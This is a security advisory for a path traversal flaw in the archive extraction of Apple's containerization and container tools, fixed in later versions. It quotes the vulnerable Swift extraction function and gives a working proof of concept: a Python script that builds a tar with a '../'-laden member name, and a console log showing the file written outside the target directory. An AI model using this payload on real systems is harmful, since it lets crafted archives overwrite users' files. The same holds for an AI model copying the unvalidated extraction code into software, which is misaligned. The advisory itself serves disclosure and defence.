Archive extraction does not guard against escapes from extraction base directory
LowCVE-2026-20613 · Published Jan 22, 2026
### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirecto...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| container Product | < 0.8.0 | 0.8.0 |
| containerization Product | < 0.21.0 | 0.21.0 |
Details and references
### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } } ``` ### PoC Sample script `make-evil-tar.py`: ```python #! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" # Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}") ``` ```console % ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned ``` ### Impact Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function. Affects users of `container image load` in the container project. These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.
- Severity from
- GitHub (reviewed advisory)
More Apple advisories
All Apple| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 21 | NIOHTTP1 HTTPDecoder accepts unbounded HTTP/1 header blocks, enabling remote DoS | Medium | 2.100.0 |
| May 21 | Out-of-bounds write via ByteBuffer index and length UInt32 overflow | High | 2.100.0 |
| May 21 | CRLF Injection in outbound HTTP request URI via NIOHTTPRequestHeadersValidator | Medium | 2.100.0 |
| Apr 30 | `container system dns create` unvalidated domain name allows pf rule injection | Low | 0.12.3 |
| Apr 30 | Insecure Hostname Validation Allows HTTP Downgrade Attack | Medium6.9 | 0.12.3 |
| Apr 1 | X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length | Medium | 4.3.1 |